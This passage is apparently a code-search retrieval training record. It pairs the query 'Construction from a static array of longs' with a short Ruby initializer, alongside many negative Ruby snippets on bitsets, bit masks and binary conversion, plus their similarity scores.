"def initialize(nbits)\n @bits = nil\n @bits = Array.typed(::Java::Long).new(((nbits - 1) >> LOG_BITS) + 1) { 0 }\n end",
"def get_bit_length(n)\n if n == 0\n # we require no bit to store 0.\n # That is, absence of bit is considered 0.\n return 0\n else \n return 1 + get_bit_length(n >> 1)\n end\nend",
"def initialize(*initial_bits)\n @bits = initial_bits.map {|bit| convert_bit(bit) }.inject(:+) || 0\n\n @set_indexes = []\n @set_indexes += initial_bits.uniq if initial_bits\n end",
"def stringy(num, bit = 1)\n bin_arr = []\n num.times { |n| n.even? ? bin_arr << (0 + bit) : bin_arr << (1 - bit) }\n bin_arr.join\nend",
"def test_004_length()\n TestVals.each do |sVal|\n #\n # The length() method returns either the size of a bounded\n # bitstring, or the number of digits from the most significant\n # 1.\n #\n uLength = sVal.sub(/^0+(.)/, '\\1').length\n bLength = sVal.length\n bs = BitString.new(sVal)\n assert_equal(uLength,\n bs.length,\n \"Test unbounded '#{sVal}'.length => #{uLength}\")\n #\n # Now do the same check for the bounded version.\n #\n bs = BitString.new(sVal, sVal.length)\n bLength = sVal.length\n assert_equal(bLength,\n bs.length,\n \"Test bounded '#{sVal}'.length => #{bLength}\")\n end\n end",
"def to_word\n [self].pack('n')\n end",
"def to_set_bit_position_array\n BitMapping.number_to_set_bit_positions_array(number)\n end",
"def bit_field name, width\n raise \"'bit_field' can be used only inside a 'field' block.\" if @_current_bit_fields.nil?\n \n # Register the bit field definition\n @_current_bit_fields << [name, width, bit_mask(width)]\n \n # Define the attribute accessor\n bits_attr_accessor(name)\n \n if width == 1 or name.to_s =~ /_flag$/\n # Define a question mark method if the size is 1 bit\n class_eval \"def #{name}?; self.attributes[#{name.inspect}] != 0; end\\n\", __FILE__, __LINE__\n \n # returns nil if no substitution happens...\n if flag_method_name = name.to_s.gsub!(/_flag$/, '?')\n # Define another question mark method if ends with \"_flag\"\n class_eval \"alias #{flag_method_name} #{name}?\\n\", __FILE__, __LINE__\n end\n end\n \n end",
"def to_string_of_words\n s = StringBuffer.new\n i = 0\n while i < @bits.attr_length\n if (!(i).equal?(0))\n s.append(\", \")\n end\n s.append(@bits[i])\n s.append(\"L\")\n i += 1\n end\n return s.to_s\n end",
"def write_word16_native(val)\n pw(val, 'S')\n end",
"def empty_bits?(_options = {})\n empty_bits.size > 0\n end",
"def random_bits(random_generator:, n_bits:)\n bits = 0\n random_generator.call(((n_bits - 1) / 8) + 1).unpack('C*').each_with_index { |byte, i| bits |= byte << (8 * i) }\n bits & ((1 << n_bits) - 1) # throw away the bits we do not need\n end",
"def zero\n 0.upto(@words-1) do |w|\n @bits[w] = 0\n end\n end",
"def compute_need_bits; end",
"def f size\n\t\tmasks = (size-1).downto(0).map{|s|\n\t\t\t2 ** s \n\t\t}\n\t\t(2 ** size).times.map{|x|\n\t\t\tmasks.map{|mask|(x & mask)==0}\n\t\t\t}\n\tend",
"def bloom_filter(word)\n # Generate the digest then translate it to binary.\n binary = Digest::MD5.hexdigest(word).to_i(16).to_s(2)\n # Grab arbitrary sections to generate a number.\n [10, 43, 81].map do |i|\n binary.slice(i, @num_bits).to_i(2)\n end\n end",
"def add(el)\n # System.out.println(\"add(\"+el+\")\");\n n = word_number(el)\n # System.out.println(\"word number is \"+n);\n # System.out.println(\"bits.length \"+bits.length);\n if (n >= @bits.attr_length)\n grow_to_include(el)\n end\n @bits[n] |= bit_mask(el)\n end",
"def binmode()\n #This is a stub, used for indexing\n end",
"def number_to_bit_array(number, minimum_binary_places = 0)\n assert_non_negative(number)\n array = []\n while number > 0\n array << (number & 1)\n number >>= 1\n end\n array.reverse!\n zero_pad_count = minimum_binary_places - array.size\n zero_pad_count.times { array.unshift(0) }\n array\n end",
"def random_bitstring(num_bits)\n return ( 0..num_bits ).inject(\"\"){ |s,i| s << ( ( rand < 0.5 ) ? \"1\" : \"0\" ) }\n end",
"def to_s\n bits=\"\"\n @fields.each {|f| \n if f.kind_of? Fields::Field\n bits << f.bitstring\n else\n bits << f.to_bitstring\n end\n }\n [bits].pack('B*')\n end",
"def not_in_place(min_bit, max_bit)\n # make sure that we have room for maxBit\n grow_to_include(max_bit)\n i = min_bit\n while i <= max_bit\n n = word_number(i)\n @bits[n] ^= bit_mask(i)\n i += 1\n end\n end",
"def used_bits?(_options = {})\n used_bits.size > 0\n end",
"def word16(bytes_a, bytes_b)\n (bytes_a << 8) | bytes_b\n end",
"def bitSetOr (a,b)\n\t\tresult = Array.new\n\t\tfor i in 0...(a.size)\n\t\t\tresult[i] = a[i] || b[i]\n\t\tend\n\t\treturn result\n\tend",
"def binary_to_int(n)\n bitset = Array.new()\n while (n > 0) do\n x = largest_power_of_2(n)\n if (x != nil)\n bitset[x] = 1\n n -= BASE ** x\n end\n end\n bitset.map! { |x| \n if (x == nil) \n x = 0\n else\n x = 1\n end\n }\n return bitset\nend",
"def boolean_to_binary(array)\nend",
"def pattern_bits\n str = bits.to_s(2)\n str = str.rjust(self.step_count, '0')\n str.chars.collect{|x|x=='1'}\n end",
"def hash_this(word)\n\t\tdigest = Digest::MD5.hexdigest(word) # get the hex version of the MD5 for the specified string\n\t\tdigest[@offset, @digits].to_i(16) % @max_value # offset it using the initial seed value and get a subset of the md5. then modulo it to get the bit array location\n\tend",
"def BIT(address:)\n tmp = @accumulator & @ram[address]\n tmp.zero? ? set_flag(SR_ZERO) : clear_flag(SR_ZERO)\n (tmp & SR_NEGATIVE).zero? ? clear_flag(SR_NEGATIVE) : set_flag(SR_NEGATIVE)\n (tmp & SR_OVERFLOW).zero? ? clear_flag(SR_OVERFLOW) : set_flag(SR_OVERFLOW)\n end",
"def set_type_size(sz, signed = false)\n tname = \"#{signed ? \"\" : \"U\"}Int#{sz}\"\n t = eval tname\n raise \"unsupported bitfield type #{tname}\" unless t\n @type = t\n @signed = signed\n return sz\n end",
"def ones(size, dtype = :float64)\n NMatrix.new([size,1], 1, dtype: dtype)\n end",
"def random_bitstring(num_bits)\n return (0...num_bits).inject(\"\"){|s,i| s<<((rand<0.5) ? \"1\" : \"0\")}\nend",
"def binary(digits)\n string(BINARY_DIGITS, digits)\n end",
"def initialize(bits_)\n @bits = nil\n @bits = bits_\n end",
"def randbinary(problem)\n s = \"\"; 1500.times{|i| s << rand(2).to_s }; s\n end",
"def generate_mask(palette_size)\n number_one_bits_array = Array.new(Math.log(palette_size, 2).ceil) { |index| (palette_size - 1) >> index & 1 }\n number_one_bits = number_one_bits_array.reduce(0) { |num, one_bit| num += one_bit }\n raise \"Invalid pallette size\" if number_one_bits & (number_one_bits - 1) != 0 or palette_size & (palette_size - 1) != 0 or palette_size <= 1\n palette_size - 1\n end",
"def bits\n\t\t# Get a safe copy of the @bits array\n\t\tbts = @bits.clone\n\t\t##\n\t\t# If carrying and not [HACK catch the pattern tha breaks it by adding an extrax 1]\n\t\t##\n\t\tif @carrying && @bits[0,4] != [1, 0, 0, 0]\n\t\t\tbts\t\t= [1].concat @bits\n\t\tend\n\t\t# Return to the caller\n\t\tbts\n\tend",
"def generate_password_bits\n # row E D C B\n bits = 0b00000_00000_00000_00000\n\n # Determine the boss bits (bits 1-20)\n bits |= @bubble_man ? 0b00000_00000_00100_00000 : 0b00000_00001_00000_00000 # C3 / D1\n bits |= @air_man ? 0b00000_00010_00000_00000 : 0b00100_00000_00000_00000 # D2 / E3\n bits |= @quick_man ? 0b00000_00000_01000_00000 : 0b00000_00000_00000_01000 # C4 / B4\n bits |= @wood_man ? 0b00000_00000_00000_10000 : 0b00000_00100_00000_00000 # B5 / D3\n bits |= @crash_man ? 0b00010_00000_00000_00000 : 0b00000_00000_10000_00000 # E2 / C5\n bits |= @flash_man ? 0b01000_00000_00000_00000 : 0b00000_00000_00001_00000 # E4 / C1\n bits |= @metal_man ? 0b00001_00000_00000_00000 : 0b10000_00000_00000_00000 # E1 / E5\n bits |= @heat_man ? 0b00000_10000_00000_00000 : 0b00000_00000_00000_00010 # D5 / B2\n\n # Rotate bits left based on the number of E-Tanks\n bits = rotate_left(bits, @e_tanks)\n\n # Set the E-Tank bits\n bits |= (1 << 20 + @e_tanks)\n\n bits\n end",
"def mgf1(seed, mask_len)\n c = 0\n t = []\n while t.size < mask_len\n t += OpenSSL::Digest::SHA256.digest([seed, c].pack(\"a*N\")).bytes\n c += 1\n end\n t[0..mask_len]\n end",
"def size\n (@bit_length*@length*@count)/8.0\n end",
"def list_bit_flags\n if (!@cached)\n @cached = lists.uniq.inject(0) { |memo,cur| memo |= (1 << cur) }\n end\n @cached\n end",
"def size64_high\n @ole.Size64High\n end"
] |
[
"0.6654422",
"0.6506331",
"0.62598187",
"0.60825163",
"0.60142285",
"0.590922",
"0.5624886",
"0.558228",
"0.5550751",
"0.5538593",
"0.54852223",
"0.54376096",
"0.5433707",
"0.54301697",
"0.5403291",
"0.5403291",
"0.535716",
"0.53516245",
"0.5316764",
"0.5273681",
"0.52610487",
"0.52610487",
"0.52390105",
"0.5232349",
"0.52271146",
"0.5222203",
"0.52212673",
"0.517613",
"0.5175509",
"0.5170774",
"0.5160796",
"0.51300865",
"0.5122717",
"0.510045",
"0.509699",
"0.50967306",
"0.5072489",
"0.50532687",
"0.50378084",
"0.5026197",
"0.50254345",
"0.5020825",
"0.5018621",
"0.5005765",
"0.49971512",
"0.49862742",
"0.49859107",
"0.49847978",
"0.49682164",
"0.49646127",
"0.49567086",
"0.49436286",
"0.493378",
"0.4928015",
"0.49254805",
"0.4912159",
"0.48985615",
"0.4883013",
"0.48804012",
"0.48778462",
"0.48703396",
"0.4861391",
"0.4839335",
"0.48225057",
"0.48164943",
"0.48078242",
"0.48066378",
"0.48063424",
"0.47972408",
"0.4795284",
"0.47824788",
"0.47780693",
"0.4773322",
"0.4758409",
"0.4753388",
"0.47476217",
"0.47472677",
"0.47444567",
"0.47439942",
"0.47394538",
"0.47376275",
"0.4734667",
"0.47294763",
"0.47212005",
"0.47199127",
"0.4719493",
"0.47089428",
"0.47042266",
"0.47035325",
"0.47030663",
"0.46946308",
"0.46867886",
"0.46851313",
"0.4676088",
"0.4670916",
"0.46338147",
"0.4632504",
"0.463078",
"0.46304515",
"0.46279547"
] |
0.5746063
|
6
|
Construction from a static array of longs
|
def initialize(bits_)
@bits = nil
@bits = bits_
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize(seed)\n @index = 0\n @mt = []\n @mt[0] = seed\n (1...ARRAY_LENGTH).each do |i|\n @mt[i] = (2 **32 -1) & (INIT_CONST * (@mt[i-1] ^ (@mt[i-1] >> 30)) + i)\n end\n end",
"def initialize(nbits)\n @bits = nil\n @bits = Array.typed(::Java::Long).new(((nbits - 1) >> LOG_BITS) + 1) { 0 }\n end",
"def initialize(n, l)\n @n = n\n @l = l\n @clock = Array.new(l, n)\n end",
"def put_int64_array(arr)\n put_int(arr.length)\n put_int64(*arr)\n self\n end",
"def make_array\n <<-CODE\n next_int;\n t1 = array_new(state, _int);\n j = _int - 1;\n for(; j >= 0; j--) {\n t2 = stack_pop();\n array_set(state, t1, j, t2);\n }\n\n cpu_perform_hook(state, c, BASIC_CLASS(array),\n global->sym_from_literal, t1);\n stack_push(t1);\n CODE\n end",
"def lcts(array)\nend",
"def from_array(array)\n array.pack('U*')\n end",
"def assign_littles(little_array)\n if little_array\n littles = []\n little_array.split(\",\").each do | element |\n littles << element.to_i unless element == \"null\" || element == \"new\"\n end\n self.little_ids = littles\n end\n end",
"def from_array(array)\n geometries = array.map do |collection|\n collection.map do |coordinates|\n lat, long = coordinates.split(/[\\s,]+/)\n AIXM.xy(lat: lat.to_f, long: long.to_f)\n end\n end\n allocate.instance_eval do\n initialize(geometries)\n self\n end\n end",
"def make_data\n Array.new(2**15) { |i| (i / 16 % 256) }\n end",
"def initialize array\n @array = array\n end",
"def marshal_load array\n initialize array[0]\n end",
"def magic_array(long)\n\tless_long = long.flatten\n\treversed = less_long.reverse\n\t\n\teven_numbers = reversed.map{ |i| i * 2 }\n\t\n\tmultiple_three = even_numbers.delete_if {|m| m % 3 == 0}\n\t\n\tno_duplicate = multiple_three.uniq\n\n\tsorted = no_duplicate.sort\n\treturn sorted\n\nend",
"def static(ids)\n new({:ids => ids\n }) \n end",
"def initialize(datatype, lngth, array=nil)\n @struct = Numrb::Vec.const_get(\"Struct_#{datatype}\").new\n @struct[:dtype] = TYPES_AR.index(datatype)\n @struct[:size] = lngth\n @struct[:ptr] = Numrb::Vec::Data.new(lngth, STRIDES[datatype])\n if array\n @struct[:ptr].send(\"put_array_of_#{datatype}\", 0, array)\n end\n end",
"def create_array_new(size)\n Array.new(size) { Array.new(size) { '0' } }\nend",
"def initialize(*argv)\n\t\tif argv.length == 1 && argv[0].class == String\n\t\t\t@array = argv[0].unpack('C*')\n\t\telse\n\t\t\t@array = Array.new(*argv)\n\t\tend\n\tend",
"def initialize(array)\n @array = array\n end",
"def create_int_array\n [first.time_to_int, last.time_to_int]\n end",
"def initialize(array)\n @array = array\n end",
"def array_init(size, value)\n arr = Array.new(size) { value }\nend",
"def array_init(size=5, &block)\n array = Array.new(size) do |index|\n if block_given?\n block.call index\n else\n (index * 100).to_s\n end\n end\nend",
"def initialize(array)\n @number = array.collect{|num| num.to_i}\n end",
"def constructor\n\t\t\tarray_of_arrays = []\n\t\t\t6.times do |i|\n\t\t\t\tarray_of_arrays[i] = []\n\t\t\t\t7.times do \n\t\t\t\t\tarray_of_arrays[i] << Token.new \n\t\t\t\tend\n\t\t\tend\n\t\t\tarray_of_arrays\n\t\tend",
"def initialize(values = [])\n @count = 0\n build_list_from_array(values)\n end",
"def initialize(array=[])\n raise ArgumentError, 'Initialize with an Array' unless array.class == Array\n @internal_hash = array.reduce(Hash.new(false)) do |hash, i|\n hash[i] = true\n hash\n end\n end",
"def initialize(array_size, _debug=false)\n @debug = !!_debug\n @id = (0..array_size).to_a\n @depth = @id.map{|e| 0 }\n # @root = @id.dup # double-the memory required\n true # avoid exposing private array\n end",
"def map_long(ident, &block) ; map_primitive(:long, ident, &block) ; end",
"def initialize\n @array_id = -1\n end",
"def from_array array, length=random_length, &check\n check_result check do\n result = []\n case length\n when Range, Array\n tmp = length.to_a\n if ( tmp.first == 0 && tmp.last == 1 )\n length = Randomaze.rand.round\n elsif ( tmp.last.nil? )\n range = (tmp.first..default_max_length).to_a\n length = range[Randomaze.rand(range.size)]\n else\n length = tmp[Randomaze.rand(tmp.size)]\n end\n end\n length.times do\n result << array[Randomaze.rand(array.size)]\n end\n result.join\n end\n end",
"def initialize(val, nombre)\n @value = Array.new(nombre, val)\nend",
"def marshal_load(array)\n initialize array[0]\n end",
"def write_long(*n); end",
"def initialize(data = [])\n @buffer = Array(data)\n end",
"def initialize(longueur, largeur)\n @longueur = longueur\n @largeur = largeur\n @table = Matrix.build(@longueur, @largeur){|row, col| Case.new(row, col)}\n @sommets = Array.new()\n @aretes = Array.new()\n end",
"def initialize(longueur, largeur)\n @longueur = longueur\n @largeur = largeur\n @table = Matrix.build(@longueur, @largeur){|row, col| Case.new(row, col)}\n @sommets = Array.new()\n @aretes = Array.new()\n end",
"def initialize(width, height)\n @width = width.to_i\n @height = height.to_i\n @data = Array.new(@height) { Array.new(@width, '0')}\n end",
"def initialize\n @array = []\n x,y = 0,0\n while x < 8\n while y < 8\n @array << [x,y]\n y += 1\n end\n x += 1\n y = 0\n end\n @array\n end",
"def initialize(int, array_int)\n\t\t@array_int = array_int.sort!\n\t\t@int = int\n\t\t@startrange = 0\n\t\t@endrange = @array_int.length-1\n\tend",
"def initialize(latitude, longitude, digits = 4)\n @latitude = BigDecimal latitude, digits\n @longitude = BigDecimal longitude, digits\n\n ll = LibNova::LnlatPosn.new\n ll[:lat] = @latitude\n ll[:lng] = @longitude\n\n @ptr_ll = ll.pointer\n end",
"def initialize(array = nil, size = 1000)\n @original_array = array.nil? ? Sort.populate_array(size: size) : array.map(&:clone)\n end",
"def generate_numbers\n (0...ARRAY_LENGTH).each do |i|\n y = ((1 << 31) & @mt[i]) + ((2**31 -1) & (@mt[(i+1)%ARRAY_LENGTH] % ARRAY_LENGTH))\n @mt[i] = @mt[(i + 397) % ARRAY_LENGTH] ^ (y >> 1)\n if (y % 2) != 0\n @mt[i] = @mt[i] ^ GENERATE_CONST\n end\n end\n end",
"def initialize\n @a = Array.new(3){Array.new(3){Array.new(3)}}\n end",
"def initialize(*args)\n if args.size == 2 # no array initializer\n rows = args[0]\n cols = args[1]\n elsif args.size == 3 # flat array initializer\n rows = args[0]\n cols = args[1]\n ary = args[2]\n elsif args.size == 1 # nested list (by rows) initializer\n rows = args[0].size\n cols = args[0][0].size\n ary = args[0]\n else\n raise ArgumentError.new(\"wrong args: #{args.size} for 1, 2, or 3\")\n end\n\n @gsl = MatrixStruct.new(alloc(rows, cols))\n\n @size = [@gsl[:rows], @gsl[:cols]]\n\n if (args.size == 3) # flat array of value\n row = 0\n col = 0\n ary.each do |v|\n self[row, col] = v\n col += 1\n if (col == cols)\n col = 0\n row += 1\n end\n end\n elsif (args.size == 1) # nested array of rows of values\n row = 0\n ary.each do |rowdata|\n col = 0\n rowdata.each do |v|\n self[row, col] = v\n col += 1\n end\n row += 1\n end\n end\n end",
"def cast_array_for_args\n <<-CODE\n next_int;\n c->args = _int;\n t1 = stack_pop();\n if(REFERENCE_P(t1) && object_kind_of_p(state, t1, global->tuple)) {\n t1 = array_from_tuple(state, t1);\n } else if(!REFERENCE_P(t1) || !object_kind_of_p(state, t1, global->array)) {\n t2 = array_new(state, 1);\n array_set(state, t2, 0, t1);\n t1 = t2;\n }\n stack_push(t1);\n c->args += N2I(array_get_total(t1));\n CODE\n end",
"def initialize(bin_rep_length, values_table)\n @bin_rep_length = bin_rep_length\n @bit_vals = set_bit_vals\n @to_base10 = create_to_base10(values_table)\n @from_base10 = create_from_base10\n end",
"def initialize arr = [], deferred = [], missing = []\n super arr\n @deferred = deferred\n @missing = missing\n end",
"def array_init(width)\r\n height = 2 ** width # ** used for exponential\r\n array = Array.new(height){Array.new(width + 4)} # plus 4 to account for table values\r\n array.each{|x| x.fill(0)} # initialize all values to 0\r\nend",
"def initialize(size)\n self.store = StaticArray.new(size)\n self.capacity = size\n self.start_idx = 0\n self.length = 0\n end",
"def initialize(arr=nil)\n @play_field = arr || Array.new(7) { Array.new }\n end",
"def make_array min,sec\n (\"%d%02d*\" % [min,sec]).gsub(/^0+([^*])/,'\\1').split(//)\nend",
"def get_long\n get(4).unpack('l')\n end",
"def initialize\n @small = Array.new(DEFAULT_SIZE, false) \n @medium = Array.new(DEFAULT_SIZE, false) \n @large = Array.new(DEFAULT_SIZE, false) \n end",
"def initialize(*args)\n @n=args[0]\n @m=args[1]\n @A=Array.new(@n)\n for i in 0...@n do\n @A[i]=args[2+i]\n end\n end",
"def marshal_load(array)\r\n\t\t@time, @usedHelp, @numberOfStars, @isFinished, @nbClick, @penalty = array\r\n\t\treturn self\r\n\tend",
"def initialize(name, *value)\n @name = name\n @value = value.map(&:to_i)\n #@large = large.map(&:to_i)\n #@medium = medium.map(&:to_i)\n #@small = small.map(&:to_i)\n #@xsmall = xsmall.map(&:to_i)\n end",
"def initialize(*args)\n params_init # paramable\n array_init(*args)\n end",
"def marshal_load array\n @x, @y, @grid, @generator_pointer = array\n end",
"def initialize (size)\n @@wordBits = 0.size * 8 # size of a word on your machine\n @wordMax = 2**@@wordBits\n @xorMask = @wordMax - 1\n @bitMask = [] # to speed things up precompute index masks\n @@wordBits.times { |i| @bitMask[i] = 1 << i }\n @size = size\t \n @words = (@size / @@wordBits) + [@size % @@wordBits, 1].min\n @bits = Array.new(@words, 0)\n end",
"def initialize(array)\r\n @elements = array\r\n\r\n @zero = Zero\r\n end",
"def array_array(rn, cn, iv = 1)\n Array.new(rn) { Array.new(cn, iv) }\nend",
"def initialize(seed=42)\n @arr = []\n @size = 0\n r = Random.new(seed)\n @cardinality = 1000\n @hash_a = ((r.rand(PRIME_NUMBER-1)+1)%PRIME_NUMBER) % @cardinality\n @hash_b = r.rand(PRIME_NUMBER)\n end",
"def rb_array(len: T.unsafe(nil)); end",
"def build_list_from_array(values)\n values.each { |v| enqueue(v) }\n end",
"def initialize(n)\n self.length = n\n self.list = (1..n).to_a\n end",
"def initialize\n @size = 10\n @array = Array.new(@size) { [] }\n @count = 0\n end",
"def append_long(l=nil)\n if l.class == Fixnum && !block_given?\n @j_del.java_method(:appendLong, [Java::long.java_class]).call(l)\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling append_long(l)\"\n end",
"def initialize(arry = [])\n @base = arry.collect{|el| el } # poor man's clone\n @tree_hash = run_layers\n end",
"def initialize(array = [])\n raise ArgumentError, 'New set must be given an array' unless array.class == Array\n \n @internal_hash = array.reduce(Hash.new(false)) do |hash, i|\n hash[i] = true\n hash\n end\n end",
"def load(arg)\n\t\tif not arg.length.eql?(@m*@n)\n\t\t\traise \"Bad dimensions, must be #{@n} by #{@m}\"\n\t\tend\n\t\tself.concat(arg.chars.map{|ele| ele.to_i}.each_slice(@n).to_a.transpose)\n\tend",
"def initialize(arr_t = nil, arr_v = nil)\n @data = []\n @processor = nil\n push_array(arr_t, arr_v) if arr_t && arr_v\n end",
"def to_vui(ary,ofs)\n b0=ary[ofs]\n return [b0,1] if b0 <128\n b0&=0x7f\n b1=ary[ofs+1]\n return [b0+(b1<<7),2] if b1<128\n b1&=0x7f\n b2=ary[ofs+2]\n return [b0+(b1<<7)+(b2<<14),3] if b2<128\n b2&=0x7f \n b3=ary[ofs+3]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21),4] if b3<128\n b3&=0x7f \n b4=ary[ofs+4]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21)+(b4<<28),5]\n throw \"error\"\nend\n# buf to varlong\ndef to_vul(ary,ofs)\n b0=ary[ofs]\n return [b0,1] if b0 <128\n b0&=0x7f\n b1=ary[ofs+1]\n return [b0+(b1<<7),2] if b1<128\n b1&=0x7f\n b2=ary[ofs+2]\n return [b0+(b1<<7)+(b2<<14),3] if b2<128\n b2&=0x7f \n b3=ary[ofs+3]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21),4] if b3<128\n b3&=0x7f \n b4=ary[ofs+4]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21)+(b4<<28),5]\n b4&=0x7f\n b5=ary[ofs+5]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21)+(b4<<28)+(b5<<35),6]\n b5&=0x7f\n b6=ary[ofs+6]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21)+(b4<<28)+(b5<<35)+(b6<<42),7]\n b6&=0x7f\n b7=ary[ofs+7]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21)+(b4<<28)+(b5<<35)+(b6<<42)+(b7<<49),8]\n b7&=0x7f\n b8=ary[ofs+8]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21)+(b4<<28)+(b5<<35)+(b6<<42)+(b7<<49)+(b8<<56),9]\n b8&=0x7f\n b9=ary[ofs+9]\n return [b0+(b1<<7)+(b2<<14)+(b3<<21)+(b4<<28)+(b5<<35)+(b6<<42)+(b7<<49)+(b8<<56)+(b9<<63),10]\n throw \"error\"\nend\n\ndef to_l(ary,ofs)\n return ary[ofs+7]+(ary[ofs+6]<<8)+(ary[ofs+5]<<16)+(ary[ofs+4]<<24)+(ary[ofs+3]<<32)+(ary[ofs+2]<<40)+(ary[ofs+1]<<48)+(ary[ofs]<<56)\nend\n\n\ndef bm2ary(bm)\n out=[0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0]\n out[0]=1 if bm & 1 == 1\n out[1]=1 if bm & 2 == 2\n out[2]=1 if bm & 4 == 4\n out[3]=1 if bm & 8 == 8\n out[4]=1 if bm & 16 == 16\n out[5]=1 if bm & 32 == 32\n out[6]=1 if bm & 64 == 64\n out[7]=1 if bm & 128 == 128\n out[8]=1 if bm & 256 == 256\n out[9]=1 if bm & 512 == 512\n out[10]=1 if bm & 1024 == 1024\n out[11]=1 if bm & 2048 == 2048\n out[12]=1 if bm & 4096 == 4096\n out[13]=1 if bm & 8192 == 8192\n out[14]=1 if bm & 16384 == 16384\n out[15]=1 if bm & 32768 == 32768\n return out\nend\n\n\n# long \ndef i32_to_bitary(v)\n out=[]\n 32.times do |i|\n out[31-i]=v&1\n v=v>>1\n end\n return out\nend\n\ndef bitary_to_i(ba)\n out=0\n v=1\n ba.size.times do |i|\n out+=v if ba[ba.size-1-i]==1 \n v=v<<1\n end\n return out\nend\n\n# [25215072,806882310],[25215072,806882310],[25215072,806882310], ...\n#\n# 9 bits * 256 = 2304 bits, 36 longs\n# irb(main):002:0> printf(\"%b\",25215072)\n# 1100000001100000001100000\n# 110000000 110000000 1100000\n# 000011000 000011000 000011000\n\n# [[25215072,806882310],[25215072,806882310],[25215072,806882310],[25215072,806882310],\n# [25215072,806882310],[25215072,806882310],[25215328,806882310],[25215072,806882310],\n# [25215072,806882310],[25215072,806882310],[25215072,806882310],[25215072,806882310],\n# [25215072,806882310],[25215073,-2145907706],[25215072,806882310],[25215072,806882310],\n# [25215072,806882310],[25215072,806882310],[25215072,806882310],[25215072,806882310],\n# [25215072,806882310],[25215072,806882310],[25215072,806882310],[25215072,806882310],\n# [25215072,806882310],[25215072,806882310],[25215072,806882310],[25215072,806882310],\n# [25215072,806882310],[25215072,806882310],[25215072,806882310],[25215072,806882310],\n# [25215072,806882310],[25215072,806882310],[25215072,806882310],[25215072,806882310],\n# [0,806882310]]\n\n#\n# 19200, 11488\n# {\"x\":1200,\"z\":718,\"groundUp\":true,\"bitMap\":15,\"heightmaps\":{\"type\":\"compound\",\"name\":\"\",\"value\":{\"MOTION_BLOCKING\":{\"type\":\"longArray\",\"value\":[[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[1,-117670337]]},\"WORLD_SURFACE\":{\"type\":\"longArray\",\"value\":[[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[264758257,-117670337],[1,-117670337]]}}}\n\n# MSB - LSB\n# 0 aaaaaaaaa bbbbbbbbb ccccccccc ddddddddd eeeeeeeee fffffffff ggggggggg hhhhhhhhh iiiiiiiii\n# \ndef la2hm(la)\n outhm=[]\n ba=[]\n la.each do |pair|\n ba0=i32_to_bitary(pair[0])\n ba1=i32_to_bitary(pair[1])\n ba63=ba0[1..-1]+ba1 # 9*7\n slices=[]\n ba63.each_slice(9) do |slice|\n slices.push(slice)\n end\n slices.reverse.each do |slice|\n outhm.push(bitary_to_i(slice))\n end\n end\n return outhm\nend\n\n# ul:uint64_t\ndef ul2blocks(ul,bit_depth)\n \n if bit_depth==4 then\n # 1ULに16個入ってる\n s0=(ul>>48)&0xffff\n s1=(ul>>32)&0xffff\n s2=(ul>>16)&0xffff\n s3=ul&0xffff\n return [\n (s0>>12)&0xf,(s0>>8)&0xf,(s0>>4)&0xf,s0&0xf,\n (s1>>12)&0xf,(s1>>8)&0xf,(s1>>4)&0xf,s1&0xf,\n (s2>>12)&0xf,(s2>>8)&0xf,(s2>>4)&0xf,s2&0xf,\n (s3>>12)&0xf,(s3>>8)&0xf,(s3>>4)&0xf,s3&0xf\n ]\n elsif bit_depth==5 then\n # 1ULに12個はいっててMSBが0000\n return [\n (ul>>55)&0x1f,(ul>>50)&0x1f,(ul>>45)&0x1f,(ul>>40)&0x1f,(ul>>35)&0x1f,\n (ul>>30)&0x1f,(ul>>25)&0x1f,(ul>>20)&0x1f,(ul>>15)&0x1f,(ul>>10)&0x1f,\n (ul>>5)&0x1f,(ul&0x1f)\n ]\n elsif bit_depth==6 then\n # 1ULに10個 MSBは0000\n return [\n (ul>>54)&0x3f,(ul>>48)&0x3f,(ul>>42)&0x3f,(ul>>36)&0x3f,(ul>>30)&0x3f,\n (ul>>24)&0x3f,(ul>>18)&0x3f,(ul>>12)&0x3f,(ul>>6)&0x3f,ul&0x3f\n ]\n elsif bit_depth==7 then\n # 1ULに9個 MSBは0\n return [\n (ul>>56)&0x7f,(ul>>49)&0x7f,(ul>>42)&0x7f,(ul>>35)&0x7f,(ul>>28)&0x7f,\n (ul>>21)&0x7f,(ul>>14)&0x7f,(ul>>7)&0x7f,ul&0x7f\n ]\n elsif bit_depth==8 then\n # 1ULに8個\n return [\n (ul>>56)&0xff,(ul>>48)&0xff,(ul>>40)&0xff,(ul>>32)&0xff,(ul>>24)&0xff,\n (ul>>16)&0xff,(ul>>8)&0xff,ul&0xff\n ]\n elsif bit_depth==9 then\n # 